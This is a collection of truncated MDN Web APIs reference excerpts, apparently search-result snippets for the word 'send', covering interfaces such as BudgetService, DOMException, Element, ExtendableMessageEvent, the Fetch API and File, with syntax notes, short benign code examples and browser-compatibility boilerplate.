BudgetService.getBudget() - Web APIs
in the future. syntax var apromise = budgetservice.getbudget(); apromise.then(function(budgetstate[]){ ... }); parameters none. returns a promise that resolves to an instance of budgetstate. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetbudget experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ? ie ...
BudgetService.getCost() - Web APIs
syntax var apromise = budgetservice.getcost(operation); apromise.then(function(somedouble){ ... }); parameters operation must be "silent-push". returns a promise that resolves to a number. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetcost experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ? ie ...
BudgetService.reserve() - Web APIs
n can be reserved. syntax var apromise = budgetservice.reserve(operation); apromise.then(function(boolean){ ... }); parameters operation desc returns a promise that resolves to a boolean. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreserve experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ? ie ...
BudgetService - Web APIs
the expected state of the budget at times in the future. budgetservice.reserve() returns a promise that resolves to a boolean, indicating whether the requested budget operation can be reserved. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetservice experimentaldeprecatednon-standardchrome full support 55edge full support ≤79firefox ? ...
BudgetState.budgetAt - Web APIs
the budgetat read-only property of the budgetstate interface returns the anticipated processing budget at the specified time. syntax var budget = budgetstate.budgetat value a double. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetat experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ? ie ...
BudgetState.time - Web APIs
the time read-only property of the budgetstate interface returns a timestamp at which the budgetat value is valid. syntax var time = budgetstate.time value a timestamp. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettime experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ? ie ? ...
BudgetState - Web APIs
me. properties budgetstate.budgetat returns the anticipated processing budget at a specific time. budgetstate.time returns a timestamp at which the budgetat value is valid. methods none. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetstate experimentaldeprecatednon-standardchrome full support 60edge full support ≤79firefox ? ie...
ByteLengthQueuingStrategy - Web APIs
k); specifications specification status comment streamsthe definition of 'bytelengthqueuingstrategy' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbytelengthqueuingstrategy experimentalchrome full support 59edge full support 16firefox full support ...
CSSStyleRule.selectorText - Web APIs
wn. specifications specification status comment css object model (cssom)the definition of 'cssstylerule.selectortext' in that specification. working draft browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetselectortextchrome full support 1edge full support 12firefox full support 1ie ...
CSSStyleSheet.insertRule() - Web APIs
rop[1] + (prop[2] ? ' !important' : '') + ';\n'; } // insert css rule stylesheet.insertrule(selector + '{' + propstr + '}', stylesheet.cssrules.length); } } polyfill the below polyfill will correct the input of the arguments of insertrule() to standardize them in internet explorer 5–8. it supplements insertrule() with a function that separates the selector from the rules before
sending the arguments to the default native insertrule(). (function(sheet_proto){ var originalinsertrule = sheet_proto.insertrule; if (originalinsertrule.length === 2){ // 2 mandatory arguments: (selector, rules) sheet_proto.insertrule = function(selectorandrule){ // first, separate the selector from the rule a: for (var i=0, len=selectorandrule.length, isescaped=0, newcharcode=0...
CanvasCaptureMediaStreamTrack.requestFrame() - Web APIs
may change in the future, so it would be wise to plan ahead and watch for exceptions such as securityerror (although the specific error that might be thrown is not mentioned in the spec, this is a likely candidate). example // find the canvas element to capture var canvaselt = document.getelementsbytagname("canvas")[0]; // get the stream var stream = canvaselt.capturestream(25); // 25 fps //
send the current state of the canvas as a frame to the stream stream.getvideotracks()[0].requestframe(); specifications specification status comment media capture from dom elementsthe definition of 'canvascapturemediastream.requestframe()' in that specification. working draft initial definition ...
Client.type - Web APIs
the type read-only property of the client interface indicates the type of client the service worker is controlling. syntax var myclienttype = client.type; value a string, representing the client type. the value can be one of "window" "worker" "sharedworker" example // service worker client (e.g. ...
Client - Web APIs
properties client.id read only the universally unique identifier of the client as a string. client.type read only the client's type as a string. ...
Clients.openWindow() - Web APIs
wclient) { // do something with your windowclient }); parameters url a usvstring representing the url of the client you want to open in the window. generally this value must be a url from the same origin as the calling script. return value a promise that resolves to a windowclient object if the url is from the same origin as the service worker or a null value otherwise. ...
Clipboard.write() - Web APIs
mple this example function replaces the current contents of the clipboard with a specified string. function setclipboard(text) { let data = [new clipboarditem({ "text/plain": text })]; navigator.clipboard.write(data).then(function() { /* success */ }, function() { /* failure */ }); } the code begins by creating a new clipboarditem object into which the text will be placed for
sending to the clipboard. the key of the object passed to the clipboarditem constructor indicates the content type, the value indicates the content. the content could be a text or even a blob (e.g. for copying images to the clipboard). then write() is called, specifying both a fulfilment function and an error function. example of copying canvas contents to the clipboard function copycanvascontentsto...
console.log() - Web APIs
ubstn javascript objects with which to replace substitution strings within msg. this gives you additional control over the format of the output. see outputting text to the console in the documentation of console for details. difference between log() and dir() you might ask yourself what's the difference between console.dir() and console.log(). another useful difference in chrome exists when
sending dom elements to the console. notice: console.log prints the element in an html-like tree console.dir prints the element in a json-like tree specifically, console.log gives special treatment to dom elements, whereas console.dir does not. this is often useful when trying to see the full representation of the dom js object. there's more information in the chrome console api reference ab...
ConvolverNode() - Web APIs
xt. specifications specification status comment web audio apithe definition of 'convolvernode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetconvolvernode() constructorchrome full support 55edge full support ≤79firefox full support ...
ConvolverNode.buffer - Web APIs
convolver.buffer = concerthallbuffer; specifications specification status comment web audio apithe definition of 'buffer' in that specification. working draft ...
ConvolverNode.normalize - Web APIs
convolver.normalize = false; // must be set before the buffer, to take effect convolver.buffer = concerthallbuffer; specifications specification status comment web audio apithe definition of 'normalize' in that specification. working draft ...
CountQueuingStrategy - Web APIs
size(); specifications specification status comment streamsthe definition of 'countqueuingstrategy' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcountqueuingstrategy experimentalchrome full support 59edge full support 16firefox full support ...
DOMException() - Web APIs
specification status comment web idlthe definition of 'domexception()' in that specification. candidate recommendation adds the constructor for the domexception class. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdomexception() constructorchrome full support yesedge full support 79firefox ? ie ? ...
DOMException.code - Web APIs
.code; value a short number. specifications specification status comment web idlthe definition of 'code' in that specification. candidate recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcodechrome full support yesedge full support 12firefox full support 1ie ...
DOMException.message - Web APIs
ssage; value a domstring. specifications specification status comment web idlthe definition of 'message' in that specification. candidate recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmessagechrome full support yesedge full support 12firefox full support 1ie ...
DOMHighResTimeStamp - Web APIs
mendation stricter definitions of interfaces and types. high resolution timethe definition of 'domhighrestimestamp' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdomhighrestimestampchrome full support 6edge full support 12firefox full support 7ie ...
DOMRectReadOnly.fromRect() - Web APIs
specification status comment geometry interfaces module level 1the definition of 'fromrect()' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfromrect() static functionchrome full support 57edge full support 79firefox full support ...
DOMTokenList.forEach() - Web APIs
specifications specification status comment domthe definition of 'foreach() (as iterable<node>)' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetforeachchrome full support 45edge full support 16firefox full support 50ie ...
DataTransferItem.webkitGetAsEntry() - Web APIs
file and directory entries apithe definition of 'webkitgetasentry()' in that specification. draft initial specification. this api has no official w3c or whatwg specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitgetasentrychrome full support 13edge full support 14firefox full support 50ie ...
DedicatedWorkerGlobalScope - Web APIs
s raised. methods this interface inherits methods from the workerglobalscope interface, and its parent eventtarget, and therefore implements methods from windowtimers, windowbase64, and windoweventhandlers. dedicatedworkerglobalscope.close() discards any tasks queued in the workerglobalscope's event loop, effectively closing this particular scope. dedicatedworkerglobalscope.postmessage()
sends a message — which can consist of any javascript object — to the parent document that first spawned the worker. inherited from workerglobalscope workerglobalscope.dump() writes a message to the console. workerglobalscope.importscripts() imports one or more scripts into the worker's scope. you can specify as many as you'd like, separated by commas. for example: importscripts('foo.js'...
DelayNode() - Web APIs
ytime: 2, }); specifications specification status comment web audio apithe definition of 'delaynode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdelaynode() constructorchrome full support 55notes full support 55notes notes before version 59, the default values were not support...
DirectoryReaderSync - Web APIs
id_state_err the directory has been modified since the first call to readentries was processed. security_err the browser determined that it was not safe to look up the metadata. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdirectoryreadersync non-standardchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: ...
Document: animationcancel event - Web APIs
this might happen when the animation-name is changed such that the animation is removed, or when the animating node is hidden using css. therefore, either directly or because any of its containing nodes are hidden. bubbles yes cancelable no interface animationevent event handler property onanimationcancel the original target for this event is the element that had the animation applied. ...
Document.evaluate() - Web APIs
status comment document object model (dom) level 3 xpath specificationthe definition of 'document.evaluate' in that specification. recommendation initial specification browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetevaluatechrome full support 1edge full support 12firefox full support 1.5ie ...
Document.fonts - Web APIs
fications specification status comment css font loading module level 3the definition of 'fontfaceset' in that specification. working draft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontschrome full support 60edge full support 79firefox full support 41 f...
Document.forms - Web APIs
ecification. living standard document object model (dom) level 2 html specificationthe definition of 'document.forms' in that specification. obsolete initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetformschrome full support 1edge full support 12firefox full support yesie ...
Document: pointercancel event - Web APIs
hile the pointer is active. the browser decides that the user started pointer input accidentally. this can happen if, for example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus from accidentally triggering events. the touch-action css property prevents the input from continuing. after the pointercancel event is fired, the browser will also
send pointerout followed by pointerleave. examples using addeventlistener(): document.addeventlistener('pointercancel', (event) => { console.log('pointer event cancelled') }); using the onpointercancel event handler property: document.onpointercancel = (event) => { console.log('pointer event cancelled') }; specifications specification status pointer events obsol...
DocumentFragment.querySelector() - Web APIs
. obsolete no change from selectors api level 1 selectors api level 1the definition of 'documentfragment.queryselector' in that specification. obsolete initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetqueryselectorchrome full support 1edge full support 12firefox full support 3.5ie ...
DocumentOrShadowRoot.getSelection() - Web APIs
sed element. specifications specification status comment shadow domthe definition of 'documentorshadowroot' in that specification. obsolete initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetselection experimentalchrome full support 53edge full support 12firefox full support ...
DynamicsCompressorNode() - Web APIs
specifications specification status comment web audio apithe definition of 'dynamicscompressornode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdynamicscompressornode() constructorchrome full support 55notes full support 55notes notes before chrome 59, the default values were...
Element.currentStyle - Web APIs
ent.prototype, "currentstyle", { get: function() { return window.getcomputedstyle(this); } }); } specification not part of any specification. microsoft had a description on msdn. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcurrentstyle non-standardchrome no support noedge no support nofirefox no support noie ...
Element.requestFullscreen() - Web APIs
omise will resolve and the element will receive a fullscreenchange event to let it know that it's now in full screen mode. if permission is denied, the promise is rejected and the element receives a fullscreenerror event instead. if the element has been detached from the original document, then the document receives these events instead. earlier implementations of the fullscreen api would always
send these events to the document rather than the element, and you may need to be able to handle that situation. check browser compatibility in fullscreen for specifics on when each browser made this change. note: this method must be called while responding to a user interaction or a device orientation change; otherwise it will fail. syntax var promise = element.requestfullscreen(options); para...
Element.runtimeStyle - Web APIs
it does not modify the style content attribute. it is available in old versions of microsoft internet explorer. specification not a part of any specification. microsoft had a description on msdn. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetruntimestyle non-standardchrome no support noedge no support nofirefox no support noie ...
Element.scroll() - Web APIs
specification status comment css object model (cssom) view modulethe definition of 'element.scroll()' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollchrome full support 45edge full support 79firefox full support 36ie ...
Element.scrollLeftMax - Web APIs
erty returns a number representing the maximum left scroll offset possible for the element. syntax var pxl = element.scrollleftmax; specifications this property is not part of any specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollleftmax non-standardchrome no support noedge no support nofirefox full support 16i...
Element.scrollTo() - Web APIs
specification status comment css object model (cssom) view modulethe definition of 'element.scrollto()' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrolltochrome full support 45edge full support 79firefox full support 36ie ...
Element.slot - Web APIs
nsole.log(slottedspan.slot); // logs 'my-text' specifications specification status comment domthe definition of 'slot' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetslotchrome full support 53edge full support ≤79firefox full support 63ie ...
Element: webkitmouseforcedown event - Web APIs
after a mousedown event has been fired at the element, if and when sufficient pressure has been applied to the mouse or trackpad button to qualify as a "force click," safari begins
sending webkitmouseforcedown events to the element. bubbles unknown cancelable unknown interface mouseevent webkitmouseforcedown is a proprietary, webkit-specific event. it is part of the force touch events feature. specifications not part of any specification. apple has a description at the mac developer library. ...
Event.initEvent() - Web APIs
perseded by event constructors. document object model (dom) level 2 events specificationthe definition of 'event.initevent()' in that specification. obsolete initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetinitevent deprecatedchrome full support yesedge full support 12firefox full support 17 ...
Event - Web APIs
the event interface represents an event which takes place in the dom. an event can be triggered by the user action e.g. clicking the mouse button or tapping keyboard, or generated by apis to represent the progress of an asynchronous task. it can also be triggered programmatically, such as by calling the htmlelement.click() method of an element, or by defining the event, then
sending it to a specified target using eventtarget.dispatchevent(). there are many types of events, some of which use other interfaces based on the main event interface. event itself contains the properties and methods which are common to all events. many dom elements can be set up to accept (or "listen" for) these events, and execute code in response to process (or "handle") them. event-handlers are usually connected ...
EventTarget.addEventListener() - Web APIs
result event listener with an arrow function this example demonstrates a simple event listener implemented using arrow function notation. html <table id="outside"> <tr><td id="t1">one</td></tr> <tr><td id="t2">two</td></tr> </table> javascript // function to change the content of t2 f...
EventTarget.dispatchEvent() - Web APIs
fication status comment domthe definition of 'eventtarget.dispatchevent()' in that specification. living standard initial definition in the dom 2 events specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdispatcheventchrome full support 4edge full support 12firefox full support 2ie ...
ExtendableMessageEvent() - Web APIs
data: the event's data — this can be any data type. origin: a domstring that defines the origin of the corresponding service worker's environment settings object. lasteventid: a domstring that defines the last event id of the event source. source: the client, serviceworker or messageport that sent the message. ports: an array containing the messageport objects connected to the channel
sending the message. examples var init = { data : 'hello message', source : messageportreference, ports : messageportlistreference } var myeme = new extendablemessageevent('message', init); specifications specification status comment service workersthe definition of 'extendablemessageevent()' in that specification. ...
ExtendableMessageEvent.data - Web APIs
the data read-only property of the extendablemessageevent interface returns the event's data. it can be any data type. syntax var mydata = extendablemessageevent.data; value any data type. examples when the following code is used inside a service worker to respond to a push messages by
sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent. var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.data); port = e.ports[0]; } ...
ExtendableMessageEvent.lastEventId - Web APIs
the lasteventid read-only property of the extendablemessageevent interface represents, in server-sent events, the last event id of the event source. this is an empty string. syntax var mylasteventid = extendablemessageevent.lasteventid; value a domstring. examples when the following code is used inside a service worker to respond to a push messages by
sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent. var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmess...
ExtendableMessageEvent.origin - Web APIs
the origin read-only property of the extendablemessageevent interface returns the origin of the client that sent the message. syntax var myorigin = extendablemessageevent.origin; value a usvstring. examples when the following code is used inside a service worker to respond to a push messages by
sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent. var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = function(e) { console.log(e.origin); port = e.po...
ExtendableMessageEvent.ports - Web APIs
operty of the extendablemessageevent interface returns the array containing the messageport objects representing the ports of the associated message channel (the channel the message is being sent through.) syntax var myports = extendablemessageevent.ports; value an array of messageport objects. examples when the following code is used inside a service worker to respond to a push messages by
sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent. var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port...
ExtendableMessageEvent.source - Web APIs
the source read-only property of the extendablemessageevent interface returns a reference to the client object from which the message was sent. syntax var mysource = extendablemessageevent.source; value a client, serviceworker or messageport object. examples when the following code is used inside a service worker to respond to a push messages by
sending the data received via pushmessagedata to the main context via a channel message, the event object of onmessage will be a extendablemessageevent. var port; self.addeventlistener('push', function(e) { var obj = e.data.json(); if(obj.action === 'subscribe' || obj.action === 'unsubscribe') { port.postmessage(obj); } else if(obj.action === 'init' || obj.action === 'chatmsg') { port.postmessage(obj); } }); self.onmessage = ...
FederatedCredential - Web APIs
usvstring; identifying the credential provider. specifications specification status comment credential management level 1 working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfederatedcredential() constructor non-standardchrome full support 51edge full support ≤79firefox ? ie...
FederatedCredential.protocol - Web APIs
ecifications specification status comments credential management level 1the definition of 'protocol' in that specification. working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprotocol experimentalchrome full support 51edge full support ≤79firefox ? ie ? ...
FederatedCredential.provider - Web APIs
s federated identity provider. example // tbd specifications specification status comments credential management level 1 working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprovider experimentalchrome full support 51edge full support ≤79firefox ? ie ? ...
FederatedCredential - Web APIs
ed) .then(function() { // do something else. }); specifications specification status comment credential management level 1 working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfederatedcredential experimentalchrome full support 51edge full support ≤79firefox ? ie ...
FetchEvent.navigationPreload - Web APIs
}); specifications specification status comment service workersthe definition of 'navigationpreload' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnavigationpreload experimentalchrome full support 59edge full support ≤79firefox ? ie ...
Fetch API - Web APIs
rror status even if the response is an http 404 or 500. instead, it will resolve normally (with ok status set to false), and it will only reject on network failure or if anything prevented the request from completing. fetch() won't can receive cross-site cookies; you can’t can establish a cross site session using fetch. set-cookie headers from other sites are silently ignored. fetch() won’t
send cookies, unless you set credentials: 'same-origin'. in august 2017, the spec changed the default credentials policy to 'same-origin'. the following browsers shipped and outdated native fetch, and were updated in these versions: firefox version 61.0b13. safari version 12. chrome version 68. if you are targetting older versions of these browsers, be sure to inc...
File.webkitRelativePath - Web APIs
file and directory entries apithe definition of 'webkitrelativepath' in that specification. draft initial specification. this api has no official w3c or whatwg specification. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitrelativepathchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge ...
File - Web APIs
retrieved from a filelist object returned as a result of a user selecting files using the <input> element, from a drag and drop operation's datatransfer object, or from the mozgetasfile() api on an htmlcanvaselement. a file object is a specific kind of a blob, and can be used in any context that a blob can. in particular, filereader, url.createobjecturl(), createimagebitmap(), and xmlhttprequest.
send() accept both blobs and files. see using files from web applications for more information and examples. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xm...
FileEntrySync - Web APIs
exception description not_found_err the file does not exist. invalid_state_err the file is no longer valid for some reason other than it having been deleted. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfileentrysync non-standardchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkit...
FileException - Web APIs
the user has attempted to look up a file or directory, but the entry found is of the wrong type. for example, the app is accessing a directoryentry when the user is requesting a fileentry. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfileexception deprecatednon-standardchrome no support 13 — 29prefixed no support 13 — 29prefixed prefixed implemented with the vendor prefix: webkitedge ...
FileList - Web APIs
file apithe definition of 'filelist' in that specification. working draft html living standardthe definition of 'selected files' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilelistchrome full support 1edge full support 12firefox full support 3ie ...
FileReaderSync.readAsArrayBuffer() - Web APIs
rowser. specifications specification status comment file apithe definition of 'readasarraybuffersync' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
